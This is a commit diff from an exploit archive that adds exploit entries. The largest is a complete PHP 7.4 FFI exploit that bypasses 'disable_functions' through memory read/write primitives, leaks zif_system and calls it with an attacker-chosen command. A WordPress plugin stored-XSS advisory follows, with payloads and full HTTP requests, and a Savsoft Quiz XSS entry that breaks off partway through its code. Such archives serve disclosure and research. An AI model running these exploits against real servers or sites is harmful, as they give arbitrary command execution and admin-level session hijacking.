DB: 2020-07-10
4 changes to exploits/shellcodes FrootVPN 4.8 - 'frootvpn' Unquoted Service Path PHP 7.4 FFI - 'disable_functions' Bypass Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting Savsoft Quiz 5 - Persistent Cross-Site Scripting
This commit is contained in:
parent
ff6e1034eb
commit
3847f7e468
5 changed files with 757 additions and 0 deletions
521
exploits/php/webapps/48655.php
Normal file
521
exploits/php/webapps/48655.php
Normal file
|
@ -0,0 +1,521 @@
|
|||
<?php
|
||||
/*
|
||||
FFI Exploit - uses 3 potential BUGS.
|
||||
PHP was contacted and said nothing in FFI is a security issue.
|
||||
|
||||
Able to call system($cmd) without using FFI::load() or FFI::cdefs()
|
||||
|
||||
* BUG #1 (maybe intended, but why have any size checks then?)
|
||||
no bounds check for FFI::String() when type is ZEND_FFI_TYPE_POINTER
|
||||
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4411)
|
||||
|
||||
* BUG #2 (maybe intended, but why have any checks then?)
|
||||
no bounds check for FFI::memcpy when type is ZEND_FFI_TYPE_POINTER
|
||||
(https://github.com/php/php-src/blob/php-7.4.7RC1/ext/ffi/ffi.c#L4286)
|
||||
|
||||
* BUG #3
|
||||
Can walk back CDATA object to get a pointer to its internal reference pointer using FFI::addr()
|
||||
call FFI::addr on a CDATA object to get its pointer (also a CDATA object), then call FFI::addr
|
||||
on the resulting ptr to get a handle to it's ptr, which is the ptr_holder for the original CDATA
|
||||
object
|
||||
|
||||
|
||||
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
|
||||
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
|
||||
|
||||
Exploit steps:
|
||||
1. Use read/write to leak zif_system pointer
|
||||
a. walk cdata object to leak handlers pointer ( in .bss )
|
||||
b. scan .bss for pointer to a known value ( *.rodata ptr), that we know usually sits
|
||||
right below a pointer to the .data.relro segment
|
||||
c. Increment and read the .data.relro pointer to get a relro section leak
|
||||
d. Using the relro section leak, scan up memory looking for the 'system' string that is
|
||||
inside the zif_system relro entry.
|
||||
e. once found, increment and leak the zif_system pointer
|
||||
2. Hijack RIP with complete argument control
|
||||
a. create a function pointer CDATA object using FFI::new() [not callable as it is
|
||||
technically not a propper ZEND_FFI_TYPE_FUNC since it wasnt made with FFI::cdef()
|
||||
b. Overwrite the object'd data with zif_system pointer
|
||||
c. Overwrite the objects zend_ffi_type_kind with ZEND_FFI_TYPE_FUNC so that it is
|
||||
callable with our own arguments
|
||||
3. Create proper argument object to pass to zif_system (zend_execute_data .. )
|
||||
a. Build out the zend_execute_data object in a php string
|
||||
b. right after the object is the argument object itself (zval) which we must also
|
||||
build. To do so we build our PHP_STRING in another FFI buffer, leak the pointer
|
||||
and place it into a fake zval STRING object.
|
||||
c. finally we can call zif_system with a controlled argument
|
||||
|
||||
NOTE: does NOT exit cleanly nor give command output -- both may be possible
|
||||
|
||||
Author: Hunter Gregal
|
||||
Tested on:
|
||||
- PHP 7.4.7 x64 Ubuntu 20, ./confiure --disable-all --with-ffi
|
||||
- PHP 7.4.3 x64 Ubuntu 20 (apt install)
|
||||
*/
|
||||
|
||||
ini_set("display_errors", "On");
|
||||
error_reporting(E_ALL);
|
||||
|
||||
function pwn($cmd) {
|
||||
function allocate($amt, $fill) {
|
||||
// could do $persistent = TRUE to alloc on libc malloc heap instead
|
||||
// but we already have a good read/write primitive
|
||||
// and relying on libc leaks for gadgets is not very portable
|
||||
// (custome compiled libc -> see pornhub php 0-day)
|
||||
$buf = FFI::new("char [".$amt."]");
|
||||
$bufPtr = FFI::addr($buf);
|
||||
FFI::memset($bufPtr, $fill, $amt);
|
||||
// not sure if i need to keep the CData reference alive
|
||||
// or not - but just in case return it too for now
|
||||
return array($bufPtr, $buf);
|
||||
}
|
||||
|
||||
// uses leak to leak data from FFI ptr
|
||||
function leak($ptr, $n, $hex) {
|
||||
if ( $hex == 0 ) {
|
||||
return FFI::string($ptr, $n);
|
||||
} else {
|
||||
return bin2hex(FFI::string($ptr, $n));
|
||||
}
|
||||
}
|
||||
|
||||
function ptrVal($ptr) {
|
||||
$tmp = FFI::cast("uint64_t", $ptr);
|
||||
return $tmp->cdata;
|
||||
}
|
||||
|
||||
/* Read primative
|
||||
writes target address overtop of CDATA object pointer,
|
||||
then leaks directly from the CDATA object
|
||||
*/
|
||||
function Read($addr, $n = 8, $hex = 0) {
|
||||
// Create vulnBuf which we walk back to do the overwrite
|
||||
// (the size and contents dont really matter)
|
||||
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
|
||||
// walk back to get ptr to ptr (heap)
|
||||
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
|
||||
/*// DEBUG
|
||||
$vulnBufPtrVal = ptrVal($vulnBufPtr);
|
||||
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
|
||||
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
|
||||
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
|
||||
printf("-------\n\n");
|
||||
*/
|
||||
|
||||
// Overwrite the ptr
|
||||
$packedAddr = pack("Q",$addr);
|
||||
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
|
||||
|
||||
// Leak the overwritten ptr
|
||||
return leak($vulnBufPtr, $n, $hex);
|
||||
}
|
||||
|
||||
/* Write primative
|
||||
writes target address overtop of CDATA object pointer,
|
||||
then writes directly to the CDATA object
|
||||
*/
|
||||
function Write($addr, $what, $n) {
|
||||
// Create vulnBuf which we walk back to do the overwrite
|
||||
// (the size and contents dont really matter)
|
||||
list($vulnBufPtr, $vulnBuf) = allocate(1, 0x42); // B*8
|
||||
// walk back to get ptr to ptr (heap)
|
||||
$vulnBufPtrPtr = FFI::addr($vulnBufPtr);
|
||||
/*// DEBUG
|
||||
$vulnBufPtrVal = ptrVal($vulnBufPtr);
|
||||
$vulnBufPtrPtrVal = ptrVal($vulnBufPtrPtr);
|
||||
printf("vuln BufPtr = %s\n", dechex($vulnBufPtrVal));
|
||||
printf("vuln BufPtrPtr = %s\n", dechex($vulnBufPtrPtrVal));
|
||||
printf("-------\n\n");
|
||||
*/
|
||||
|
||||
// Overwrite the ptr
|
||||
$packedAddr = pack("Q",$addr);
|
||||
FFI::memcpy($vulnBufPtrPtr, $packedAddr, 8);
|
||||
|
||||
// Write to the overwritten ptr
|
||||
FFI::memcpy($vulnBufPtr, $what, $n);
|
||||
}
|
||||
|
||||
function isPtr($knownPtr, $testPtr) {
|
||||
if ( ($knownPtr & 0xFFFFFFFF00000000) == ($testPtr & 0xFFFFFFFF00000000)) {
|
||||
return 1;
|
||||
} else {
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Walks looking for valid pointers
|
||||
* - each valid ptr is read and if it
|
||||
- points to the target return the address of the
|
||||
- ptr and the location it was found
|
||||
*/
|
||||
//function getRodataAddr($bssLeak) {
|
||||
function walkSearch($segmentLeak, $maxQWORDS, $target, $size = 8, $up = 0) {
|
||||
$start = $segmentLeak;
|
||||
for($i = 0; $i < $maxQWORDS; $i++) {
|
||||
if ( $up == 0 ) { // walk 'down' addresses
|
||||
$addr = $start - (8 * $i);
|
||||
} else { // walk 'up' addresses
|
||||
$addr = $start + (8 * $i);
|
||||
}
|
||||
//$leak = Read($addr, 8);
|
||||
$leak = unpack("Q", Read($addr))[1];
|
||||
|
||||
// skip if its not a valid pointer...
|
||||
if ( isPtr($segmentLeak, $leak) == 0 ) {
|
||||
continue;
|
||||
}
|
||||
$leak2 = Read($leak, $n = $size);
|
||||
//printf("0x%x->0x%x = %s\n", $addr, $leak, $leak2);
|
||||
if( strcmp($leak2, $target) == 0 ) { # match
|
||||
return array ($leak, $addr);
|
||||
}
|
||||
}
|
||||
return array(0, 0);
|
||||
}
|
||||
|
||||
function getBinaryBase($textLeak) {
|
||||
$start = $textLeak & 0xfffffffffffff000;
|
||||
for($i = 0; $i < 0x10000; $i++) {
|
||||
$addr = $start - 0x1000 * $i;
|
||||
$leak = Read($addr, 7);
|
||||
//if($leak == 0x10102464c457f) { # ELF header
|
||||
if( strcmp($leak, "\x7f\x45\x4c\x46\x02\x01\x01") == 0 ) { # ELF header
|
||||
return $addr;
|
||||
}
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
function parseElf($base) {
|
||||
$e_type = unpack("S", Read($base + 0x10, 2))[1];
|
||||
|
||||
$e_phoff = unpack("Q", Read($base + 0x20))[1];
|
||||
$e_phentsize = unpack("S", Read($base + 0x36, 2))[1];
|
||||
$e_phnum = unpack("S", Read($base + 0x38, 2))[1];
|
||||
|
||||
for($i = 0; $i < $e_phnum; $i++) {
|
||||
$header = $base + $e_phoff + $i * $e_phentsize;
|
||||
$p_type = unpack("L", Read($header, 4))[1];
|
||||
$p_flags = unpack("L", Read($header + 4, 4))[1];
|
||||
$p_vaddr = unpack("Q", Read($header + 0x10))[1];
|
||||
$p_memsz = unpack("Q", Read($header + 0x28))[1];
|
||||
|
||||
if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
|
||||
# handle pie
|
||||
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
|
||||
$data_size = $p_memsz;
|
||||
} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
|
||||
$text_size = $p_memsz;
|
||||
}
|
||||
}
|
||||
|
||||
if(!$data_addr || !$text_size || !$data_size)
|
||||
return false;
|
||||
|
||||
return [$data_addr, $text_size, $data_size];
|
||||
}
|
||||
|
||||
function getBasicFuncs($base, $elf) {
|
||||
list($data_addr, $text_size, $data_size) = $elf;
|
||||
for($i = 0; $i < $data_size / 8; $i++) {
|
||||
$leak = unpack("Q", Read($data_addr+ ($i * 8)))[1];
|
||||
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
|
||||
$deref = unpack("Q", Read($leak))[1];
|
||||
# 'constant' constant check
|
||||
if($deref != 0x746e6174736e6f63)
|
||||
continue;
|
||||
} else continue;
|
||||
$leak = unpack("Q", Read($data_addr + (($i + 4) * 8)))[1];
|
||||
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
|
||||
$deref = unpack("Q", Read($leak))[1];
|
||||
# 'bin2hex' constant check
|
||||
if($deref != 0x786568326e6962)
|
||||
continue;
|
||||
} else continue;
|
||||
return $data_addr + $i * 8;
|
||||
}
|
||||
}
|
||||
|
||||
function getSystem($basic_funcs) {
|
||||
$addr = $basic_funcs;
|
||||
do {
|
||||
$f_entry = unpack("Q", Read($addr))[1];
|
||||
$f_name = Read($f_entry, 6) . "\0";
|
||||
|
||||
if( strcmp($f_name, "system\0") == 0) { # system
|
||||
return unpack("Q", Read($addr + 8))[1];
|
||||
}
|
||||
$addr += 0x20;
|
||||
} while($f_entry != 0);
|
||||
return false;
|
||||
}
|
||||
// Convenient for debugging
|
||||
function crash() {
|
||||
Write(0x0, "AAAA", 4);
|
||||
}
|
||||
|
||||
|
||||
printf("\n[+] Starting exploit...\n");
|
||||
// --------------------------- start of leak zif_system address
|
||||
/* NOTE: typically we would leak a .text address and
|
||||
walk backwards to find the ELF header. From there we can parse
|
||||
the elf information to resolve zif_system - in our case the
|
||||
base PHP binary image with the ELF head is on its own mapping
|
||||
that does not border the .text segment. So we need a creative
|
||||
way to get zif_system
|
||||
*/
|
||||
/* ---- First, we use our read to walk back to the our Zend_object,
|
||||
// and get its zend_object_handlers* which will point to the
|
||||
// php binary symbols zend_ffi_cdata_handlers in the .bss.
|
||||
//
|
||||
//_zend_ffi_cdata.ptr-holder - _zend_ffi_cdata.ptr.std.handlers == 6 QWORDS
|
||||
//
|
||||
// From there we search for a ptr to a known value (happens to be to the .rodata section)
|
||||
// that just so happens to sit right below a ptr to the 'zend_version' relro entry.
|
||||
// So we do some checks on that to confirm it is infact a valid ptr to the .data.relro.
|
||||
//
|
||||
// Finally we walk UP the relro entries looking for the 'system' (zif_system) entry.
|
||||
|
||||
(zend_types.h)
|
||||
struct _zend_object { <-----typdef zend_object
|
||||
zend_refcounted_h gc;
|
||||
uint32_t handle; // may be removed ???
|
||||
end_class_entry *ce;
|
||||
const zend_object_handlers *handlers; <--- func ptrs
|
||||
HashTable *properties;
|
||||
zval properties_table[1];
|
||||
};
|
||||
(ffi.c)
|
||||
typedef struct _zend_ffi_cdata {
|
||||
zend_object std;
|
||||
zend_ffi_type *type;
|
||||
void *ptr; <--- OVERWRITE
|
||||
void *ptr_holder; <--
|
||||
zend_ffi_flags flags;
|
||||
} zend_ffi_cdata;
|
||||
|
||||
*/
|
||||
|
||||
list($dummyPtr, $dummy) = allocate(64, 0x41);
|
||||
// dummy buf ptr
|
||||
$dummyPtrVal = ptrVal($dummyPtr);
|
||||
|
||||
// dummy buf ptr ptr
|
||||
$dummyPtrPtr = FFI::addr($dummyPtr);
|
||||
$dummyPtrPtrVal = ptrVal($dummyPtrPtr);
|
||||
|
||||
printf("Dummy BufPtr = 0x%x\n", $dummyPtrVal);
|
||||
printf("Dummy BufPtrPtr = 0x%x\n", $dummyPtrPtrVal);
|
||||
$r = leak($dummyPtr, 64, 1);
|
||||
printf("Dummy buf:\n%s\n", $r);
|
||||
printf("-------\n\n");
|
||||
|
||||
/*
|
||||
// ------ Test our read and write
|
||||
$r = Read($dummyPtrVal, 256, 1);
|
||||
printf("Read Test (DummyBuf):\n%s\n", $r);
|
||||
|
||||
Write($dummyPtrVal, "CCCCCCCC", 8);
|
||||
$r = Read($dummyPtrVal, 256, 1);
|
||||
printf("Write Test (DummyBuf):\n%s\n", $r);
|
||||
// ----------
|
||||
*/
|
||||
|
||||
$handlersPtrPtr = $dummyPtrPtrVal - (6 * 8);
|
||||
printf("_zend_ffi_cdata.ptr.std.handlers = 0x%x\n", $handlersPtrPtr);
|
||||
|
||||
$handlersPtr = unpack("Q", Read($handlersPtrPtr))[1]; // --> zend_ffi_cdata_handlers -> .bss
|
||||
printf("zend_ffi_cdata_handlers = 0x%x\n", $handlersPtr);
|
||||
|
||||
// Find our 'known' value in the .rodata section -- in this case 'CORE'
|
||||
// (backup can be 'STDIO)'
|
||||
list($rodataLeak, $rodataLeakPtr) = walkSearch($handlersPtr, 0x400,"Core", $size=4);
|
||||
if ( $rodataLeak == 0 ) {
|
||||
// If we failed let's just try to find PHP's base and hope for the best
|
||||
printf("Get rodata addr failed...trying for last ditch effort at PHP's ELF base\n");
|
||||
// use .txt leak
|
||||
$textLeak = unpack("Q", Read($handlersPtr+16))[1]; // zned_objects_destroy_object
|
||||
printf(".textLeak = 0x%x\n", $textLeak);
|
||||
$base = getBinaryBase($textLeak);
|
||||
if ( $base == 0 ) {
|
||||
die("Failed to get binary base\n");
|
||||
}
|
||||
printf("BinaryBase = 0x%x\n", $base);
|
||||
// parse elf
|
||||
if (!($elf = parseElf($base))) {
|
||||
die("failed to parseElf\n");
|
||||
}
|
||||
if (!($basicFuncs = getBasicFuncs($base, $elf))) {
|
||||
die("failed to get basic funcs\n");
|
||||
}
|
||||
if (!($zif_system = getSystem($basicFuncs))) {
|
||||
die("Failed to get system\n");
|
||||
}
|
||||
// XXX HERE XXX
|
||||
//die("Get rodata addr failed\n");
|
||||
} else {
|
||||
printf(".rodata leak ('CORE' ptr) = 0x%x->0x%x\n", $rodataLeakPtr, $rodataLeak);
|
||||
|
||||
// Right after the "Core" ptrptr is zend_version's relro entry - XXX this may not be static
|
||||
// zend_version is in .data.rel.ro
|
||||
$dataRelroPtr = $rodataLeakPtr + 8;
|
||||
printf("PtrPtr to 'zend_verson' relro entry: 0x%x\n", $dataRelroPtr);
|
||||
|
||||
// Read the .data.relro potr
|
||||
$dataRelroLeak = unpack("Q", Read($dataRelroPtr))[1];
|
||||
if ( isPtr($dataRelroPtr, $dataRelroLeak) == 0 ) {
|
||||
die("bad zend_version entry pointer\n");
|
||||
}
|
||||
printf("Ptr to 'zend_verson' relro entry: 0x%x\n", $dataRelroLeak);
|
||||
|
||||
// Confirm this is a ptrptr to zend_version
|
||||
$r = unpack("Q", Read($dataRelroLeak))[1];
|
||||
if ( isPtr($dataRelroLeak, $r) == 0 ) {
|
||||
die("bad zend_version entry pointer\n");
|
||||
}
|
||||
|
||||
printf("'zend_version' string ptr = 0x%x\n", $r);
|
||||
|
||||
$r = Read($r, $n = 12);
|
||||
if ( strcmp($r, "zend_version") ) {
|
||||
die("Failed to find zend_version\n");
|
||||
}
|
||||
printf("[+] Verified data.rel.ro leak @ 0x%x!\n", $dataRelroLeak);
|
||||
|
||||
|
||||
/* Walk FORWARD the .data.rel.ro segment looking for the zif_system entry
|
||||
- this is a LARGE section...
|
||||
*/
|
||||
list($systemStrPtr, $systemEntryPtr) = walkSearch($dataRelroLeak, 0x3000, "system", $size = 6, $up =1);
|
||||
if ( $systemEntryPtr == 0 ) {
|
||||
die("Failed to find zif_system relro entry\n");
|
||||
}
|
||||
printf("system relro entry = 0x%x\n", $systemEntryPtr);
|
||||
$zif_systemPtr = $systemEntryPtr + 8;
|
||||
$r = unpack("Q", Read($zif_systemPtr))[1];
|
||||
if ( isPtr($zif_systemPtr, $r) == 0 ) {
|
||||
die("bad zif_system pointer\n");
|
||||
}
|
||||
$zif_system = $r;
|
||||
}
|
||||
printf("[+] zif_system @ 0x%x\n", $zif_system);
|
||||
|
||||
// --------------------------- end of leak zif_system address
|
||||
// --------------------------- start call zif_system
|
||||
|
||||
|
||||
/* To call system in a controlled manner
|
||||
the easiest way is to create cdata object, write target RIP (zif_system's address) to it
|
||||
and finally modify it's zend_ffi_type_kind to ZEND_FFI_TYPE_FUNC to call it
|
||||
*/
|
||||
$helper = FFI::new("char* (*)(const char *)");
|
||||
//$helper = FFI::new("char* (*)(const char *, int )"); // XXX if we want return_val control
|
||||
$helperPtr = FFI::addr($helper);
|
||||
|
||||
//list($helperPtr, $helper) = allocate(8, 0x43);
|
||||
//$x[0] = $zif_system;
|
||||
$helperPtrVal = ptrVal($helperPtr);
|
||||
$helperPtrPtr = FFI::addr($helperPtr);
|
||||
$helperPtrPtrVal = ptrVal($helperPtrPtr);
|
||||
printf("helper.ptr_holder @ 0x%x -> 0x%x\n", $helperPtrPtrVal, $helperPtrVal);
|
||||
|
||||
// Walk the type pointers
|
||||
//$helperObjPtr = $helperPtrPtrVal - (9 *8); // to top of cdata object
|
||||
//printf("helper CDATA object @ 0x%x\n", $helperObjPtr);
|
||||
$helperTypePtrPtr = $helperPtrPtrVal - (2 *8); // 2 DWORDS up the struct to *type ptr
|
||||
//printf("helper CDATA type PtrPtr @ 0x%x\n", $helperTypePtrPtr);
|
||||
$r = unpack("Q", Read($helperTypePtrPtr))[1];
|
||||
if ( isPtr($helperTypePtrPtr, $r) == 0 ) {
|
||||
die("bad helper type pointer\n");
|
||||
}
|
||||
$helperTypePtr = $r;
|
||||
|
||||
// Confirm it's currently ZEND_FFI_TYPE_VOID (0)
|
||||
$r = Read($helperTypePtr, $n=1, $hex=1);
|
||||
if ( strcmp($r, "00") ) {
|
||||
die("Unexpected helper type!\n");
|
||||
}
|
||||
|
||||
printf("Current helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_VOID (0)\n", $helperTypePtrPtr, $helperTypePtr);
|
||||
|
||||
// Set it to ZEND_FFI_TYPE_FUNC (16 w/ HAVE_LONG_DOUBLE else 15)
|
||||
Write($helperTypePtr, "\x10", 1);
|
||||
|
||||
printf("Swapped helper CDATA type @ 0x%x -> 0x%x -> ZEND_FFI_TYPE_FUNC (16)\n", $helperTypePtrPtr, $helperTypePtr);
|
||||
|
||||
// Finally write zif_system to the value
|
||||
Write($helperPtrVal, pack("Q", $zif_system), 8);
|
||||
|
||||
// --------------------------- end of leak zif_system address
|
||||
// ----------------------- start of build zif_system argument
|
||||
/*
|
||||
zif_system takes 2 args -> zif_system(*zend_execute_data, return_val)
|
||||
For now I don't bother with the return_val, although tehnically we could control
|
||||
it and potentially exit cleanly
|
||||
*/
|
||||
|
||||
// ----------- start of setup zend_execute_data object
|
||||
|
||||
/* Build valid zend_execute object
|
||||
struct _zend_execute_data {
|
||||
const zend_op *opline; /* executed opline
|
||||
zend_execute_data *call; /* current call
|
||||
zval *return_value;
|
||||
zend_function *func; /* executed function
|
||||
zval This; /* this + call_info + num_args
|
||||
zend_execute_data *prev_execute_data;
|
||||
zend_array *symbol_table;
|
||||
void **run_time_cache; /* cache op_array->run_time_cache
|
||||
}; //0x48 bytes
|
||||
*/
|
||||
|
||||
//This.u2.num_args MUST == our number of args (1 or 2 apparantly..) [6 QWORD in execute_data]
|
||||
$execute_data = str_shuffle(str_repeat("C", 5*8)); // 0x28 C's
|
||||
$execute_data .= pack("L", 0); // this.u1.type
|
||||
$execute_data .= pack("L", 1); // this.u2.num_args
|
||||
$execute_data .= str_shuffle(str_repeat("A", 0x18)); // fill out rest of zend_execute obj
|
||||
$execute_data .= str_shuffle(str_repeat("D", 8)); //padding
|
||||
|
||||
// ----------- end of setup zend_execute_data object
|
||||
// ----------- start of setup argument object
|
||||
/* the ARG (zval) object lays after the execute_data object
|
||||
|
||||
zval {
|
||||
value = *cmdStr ([16 bytes] + [QWORD string size] + [NULL terminated string])
|
||||
u1.type = 6 (IS_STRING)
|
||||
u2.???? = [unused]
|
||||
}
|
||||
*/
|
||||
|
||||
/*
|
||||
// Let's get our target command setup in a controlled buffer
|
||||
// TODO - use the dummy buf?
|
||||
// the string itself is odd. it has 16 bytes prepended to it that idk what it is
|
||||
// the whole argument after the zend_execute_data object looks like
|
||||
*/
|
||||
|
||||
$cmd_ = str_repeat("X", 16); // unk padding
|
||||
$cmd_ .= pack("Q", strlen($cmd)); // string len
|
||||
$cmd_ .= $cmd . "\0"; // ensure null terminated!
|
||||
list($cmdBufPtr, $cmdBuf) = allocate(strlen($cmd_), 0);
|
||||
$cmdBufPtrVal = ptrVal($cmdBufPtr);
|
||||
FFI::memcpy($cmdBufPtr, $cmd_, strlen($cmd_));
|
||||
printf("cmdBuf Ptr = 0x%x\n", $cmdBufPtrVal);
|
||||
|
||||
// Now setup the zval object itself
|
||||
$zval = pack("Q", $cmdBufPtrVal); // zval.value (pointer to cmd string)
|
||||
$zval .= pack("L", 6); // zval.u1.type (IS_STRING [6])
|
||||
$zval .= pack("L", 0); // zval.u2 - unused
|
||||
|
||||
$execute_data .= $zval;
|
||||
|
||||
// ---------- end of setup argument object
|
||||
// ----------------------- start of build zif_system argument
|
||||
$res = $helper($execute_data);
|
||||
//$return_val = 0x0; // // XXX if we want return_val control
|
||||
//$res = $helper($execute_data, $return_val); // XXX if we want return_val control
|
||||
// --------------------------- end of call zif_system
|
||||
}
|
||||
pwn("touch /tmp/WIN2.txt");
|
||||
?>
|
127
exploits/php/webapps/48656.txt
Normal file
127
exploits/php/webapps/48656.txt
Normal file
|
@ -0,0 +1,127 @@
|
|||
# Exploit Title: Wordpress Plugin Powie's WHOIS Domain Check 0.9.31 - Persistent Cross-Site Scripting
|
||||
# Date: 2020-07-07
|
||||
# Vendor Homepage: https://powie.de
|
||||
# Vendor Changelog: https://wordpress.org/plugins/powies-whois/#developers
|
||||
# Software Link: https://wordpress.org/plugins/powies-whois/
|
||||
# Exploit Author: mqt
|
||||
# Author Homepage: https://blog.haao.sh
|
||||
|
||||
|
||||
1. Description
|
||||
|
||||
Powie's WHOIS Wordpress plugin was found to be vulnerable to Stored XSS as
|
||||
multiple fields in the plugin's setup settings fail to properly sanitize
|
||||
user input. The risk here is mitigated due to the fact that active
|
||||
exploitation would require authentication. However a lower privileged
|
||||
Wordpress user would be able to take advantage of the fact that the
|
||||
arbitrary Javascript executes on the same origin and therefore by using a
|
||||
specially crafted payload, an attacker would be able to elevate their
|
||||
privileges or take any of the same actions an admin would be able to.
|
||||
|
||||
All Wordpress websites using Powie's WHOIS version < 0.9.31 are vulnerable.
|
||||
|
||||
2. Vulnerability
|
||||
|
||||
There are two sets of vulnerable fields with each requiring a different
|
||||
payload in order exploit.
|
||||
|
||||
The first set of vulnerable fields display output using the `<textarea>`
|
||||
element.
|
||||
|
||||
Show on available domains (display-on-free)
|
||||
Show on unavailable domains (display-on-connect)
|
||||
Show on invalid domain (display-on-valid)
|
||||
|
||||
As no sanitization is being performed, an attacker can use a closing
|
||||
`</textarea>` tag to close the HTML element and thus is able to inject
|
||||
arbitrary Javascript.
|
||||
|
||||
|
||||
Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php)
|
||||
|
||||
<tr valign="top">
|
||||
<th scope="row"><?php _e('Show on available domains', 'powies-whois')
|
||||
?></th>
|
||||
<td><textarea rows="3" name="display-on-free" style="width:100%;"><?php
|
||||
echo get_option('display-on-free'); ?></textarea></td>
|
||||
</tr>
|
||||
<tr valign="top">
|
||||
<th scope="row"><?php _e('Show on unavailable domains', 'powies-whois')
|
||||
?></th>
|
||||
td><textarea rows="3" name="display-on-connect"
|
||||
style="width:100%;"><?php echo get_option('display-on-connect');
|
||||
?></textarea></td>
|
||||
</tr>
|
||||
<tr valign="top">
|
||||
<th scope="row"><?php _e('Show on invalid domain', 'powies-whois')
|
||||
?></th>
|
||||
<td><textarea rows="3" name="display-on-invalid"
|
||||
style="width:100%;"><?php echo get_option('display-on-invalid');
|
||||
?></textarea></td>
|
||||
</tr>
|
||||
|
||||
Payload: </textarea><img src=/ onerror=alert(1)>
|
||||
|
||||
Vulnerable HTTP Request:
|
||||
|
||||
POST /wp-admin/options.php HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0)
|
||||
Gecko/20100101 Firefox/78.0
|
||||
Accept:
|
||||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer:
|
||||
http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 479
|
||||
Origin: http://localhost
|
||||
Connection: close
|
||||
Cookie: <snipped for brevity>
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&display-on-connect=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E&display-on-invalid=%3C%2Ftextarea%3E%3Cimg+src%3D%2F+onerror%3Dalert%283%29%3E&before-whois-output=&after-whois-output=
|
||||
|
||||
|
||||
The second set of vulnerable fields display output using the <input>
|
||||
element, specifically in the value attribute. As no sanitization is
|
||||
performed, an attacker is able to use specially crafted input to escape the
|
||||
value attribute and thus have the ability to inject arbitrary Javascript.
|
||||
|
||||
Vulnerable Code: (/plugins/powies-whois/pwhois_settings.php)
|
||||
|
||||
<tr valign="top">
|
||||
<th scope="row"><?php _e('HTML before whois output', 'powies-whois')
|
||||
?></th>
|
||||
<td><input type="text" name="before-whois-output" value="<?php echo
|
||||
get_option('before-whois-output'); ?>" style="width:100%;" /></td>
|
||||
</tr>
|
||||
<tr valign="top">
|
||||
<th scope="row"><?php _e('HTML after whois output', 'powies-whois')
|
||||
?></th>
|
||||
<td><input type="text" name="after-whois-output" value="<?php echo
|
||||
get_option('after-whois-output'); ?>" style="width:100%;"/></td>
|
||||
</tr>
|
||||
|
||||
Payload: "><img src=/ onerror=alert(1)>
|
||||
|
||||
Vulnerable HTTP Request:
|
||||
POST /wp-admin/options.php HTTP/1.1
|
||||
Host: localhost
|
||||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:78.0)
|
||||
Gecko/20100101 Firefox/78.0
|
||||
Accept:
|
||||
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
||||
Accept-Language: en-US,en;q=0.5
|
||||
Accept-Encoding: gzip, deflate
|
||||
Referer:
|
||||
http://localhost/wp-admin/options-general.php?page=powies-whois%2Fpwhois_settings.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Content-Length: 398
|
||||
Origin: http://localhost
|
||||
Connection: close
|
||||
Cookie: <snipped for brevity>
|
||||
Upgrade-Insecure-Requests: 1
|
||||
|
||||
option_page=pwhois-settings&action=update&_wpnonce=e632f68003&_wp_http_referer=%2Fwp-admin%2Foptions-general.php%3Fpage%3Dpowies-whois%252Fpwhois_settings.php%26settings-updated%3Dtrue&show-whois-output=1&display-on-free=&display-on-connect=&display-on-invalid=&before-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%281%29%3E&after-whois-output=%22%3E%3Cimg+src%3D%2F+onerror%3Dalert%282%29%3E
|
65
exploits/php/webapps/48658.txt
Normal file
65
exploits/php/webapps/48658.txt
Normal file
|
@ -0,0 +1,65 @@
|
|||
# Exploit Title: Savsoft Quiz 5 - Persistent Cross-Site Scripting
|
||||
# Date: 2020-07-09
|
||||
# Exploit Author: Ogulcan Unveren(th3d1gger)
|
||||
# Vendor Homepage: https://savsoftquiz.com/
|
||||
# Software Link: https://github.com/savsofts/savsoftquiz_v5.git
|
||||
# Version: 5.0
|
||||
# Tested on: Kali Linux
|
||||
|
||||
---Vulnerable Source Code----
|
||||
function insert_user_2(){
|
||||
|
||||
$userdata=array(
|
||||
'email'=>$this->input->post('email'),
|
||||
'password'=>md5($this->input->post('password')),
|
||||
'first_name'=>$this->input->post('first_name'),
|
||||
'last_name'=>$this->input->post('last_name'),
|
||||
'contact_no'=>$this->input->post('contact_no'),
|
||||
